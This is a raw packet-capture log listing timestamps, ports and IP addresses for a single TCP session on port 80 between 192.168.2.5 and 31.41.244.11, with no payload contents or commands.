Dec 19, 2024 03:09:36.891716003 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.891765118 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.892596006 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.892649889 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.892731905 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.892782927 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.893621922 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.893668890 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.893711090 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.893754959 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.894577026 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.894644022 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.894686937 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.894730091 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.895596981 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.895648956 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.895706892 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.895755053 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.896573067 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.896619081 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.896677971 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.896723986 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.897578955 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.897629023 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.897708893 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.897759914 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.898591042 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.898647070 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.898735046 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.898780107 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.899538040 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.899589062 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.039335012 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.039407969 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.039438009 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.039474010 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.039758921 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.039800882 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.039870977 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.039910078 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.040772915 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.040812016 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.040950060 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.040990114 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.041742086 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.041785002 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.041838884 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.041876078 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.042706966 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.042753935 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.042805910 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.042845964 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.043725967 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.043765068 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.043828011 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.043867111 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.044739962 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.044779062 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.044842005 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.044882059 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.045734882 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.045774937 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.045867920 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.045907021 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.046751022 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.046788931 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.046860933 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.046901941 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.047705889 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.047784090 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.047827959 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.047863960 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.048741102 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.048794985 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.048834085 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.048875093 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.049707890 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.049782991 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.049814939 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.049851894 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.050720930 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.050759077 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.050795078 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.050833941 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.051707983 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.051747084 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.051851034 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.051892042 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.052778006 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.052818060 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.052855968 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.052896023 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.053764105 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.053802967 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.053838015 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.053879023 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.054696083 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.054735899 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.054893970 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.054930925 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.055711031 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.055752039 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.055811882 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.055850983 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.056724072 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.056760073 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.056893110 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.056931019 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.057694912 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.057733059 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.057809114 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.057847023 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.058697939 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.058736086 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.058799028 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.058831930 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.059699059 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.059756041 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.059798002 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.059837103 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.060709000 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.060760021 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.060811996 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.060849905 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.061697960 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.061738968 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.061830044 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.061870098 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.062695980 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.062732935 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.062796116 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.062839031 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.063707113 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.063746929 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.063808918 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.063843966 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.064698935 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.064747095 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.064820051 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.064857006 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.065704107 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.065738916 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.065830946 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.065867901 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.066706896 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.066756964 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.066795111 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.066831112 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.067681074 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.067727089 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.067792892 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.067831993 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.068695068 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.068734884 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.068795919 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.068830013 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.069698095 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.069736958 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.069803953 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.069843054 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.070693016 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.070732117 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.070796013 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.070836067 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.071760893 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.071805954 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.071820021 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.071875095 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.072724104 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.072763920 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.072798967 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.072840929 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.073693991 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.073734999 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.073810101 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.073848009 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.074671984 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.074711084 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.074775934 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.074812889 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.075694084 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.075736046 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.075802088 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.075839996 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.076670885 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.076771021 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.076782942 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.076821089 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.077692032 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.077730894 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.077797890 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.077836990 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.078672886 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.078713894 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.078795910 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.078836918 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.079684019 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.079726934 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.079787970 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.079848051 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.080674887 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.080718040 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.080796003 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.080836058 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.081681967 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.081721067 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.081911087 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.081953049 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.082711935 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.082752943 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.082784891 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.082823992 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.083748102 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.083801031 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.083862066 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.083900928 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.084713936 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.084754944 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.084867954 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.084911108 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.085684061 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.085725069 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.085845947 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.085885048 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.086668968 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.086707115 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.086782932 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.086822987 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.087666988 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.087704897 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.087775946 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.087814093 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.088673115 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.088715076 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.088768005 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.088808060 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.089663982 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.089704037 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.089766026 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.089803934 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.090658903 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.090702057 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.090770960 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.090806961 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.091617107 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.091664076 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.231317043 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.231403112 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.231476068 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.231525898 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.231781960 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.231828928 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.231889009 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.231931925 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.232793093 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.232839108 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.232945919 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.232990026 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.233767986 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.233820915 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.233880043 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.233922958 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.234780073 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.234827995 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.234877110 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.234920025 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.235773087 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.235820055 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.235893965 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.235945940 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.236783028 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.236839056 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.236884117 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.236927986 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.237751007 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.237797022 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.237916946 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.237955093 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.238744974 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.238785982 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.238852024 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.238892078 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.239769936 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.239813089 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.239901066 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.239942074 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.240818024 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.240859032 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.240914106 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.240969896 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.241751909 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.241791964 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.241853952 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.241893053 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.242748976 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.242788076 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.242863894 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.242903948 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.243750095 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.243791103 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.243854046 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.243905067 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.244766951 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.244808912 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.244980097 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.245021105 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.245767117 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.245810032 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.245850086 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.245891094 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.246743917 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.246788979 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.246916056 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.246958017 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.247746944 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.247793913 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.247872114 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.247915030 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.248764038 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.248806953 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.248871088 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.248913050 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.249748945 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.249790907 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.249866962 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.249907970 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.250776052 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.250823021 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.250921011 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.250981092 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.251750946 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.251795053 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.251868963 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.251905918 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.252861023 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.252909899 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.252923012 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.252979994 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.253796101 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.253837109 CET	49885	80	192.168.2.5	31.41.244.11
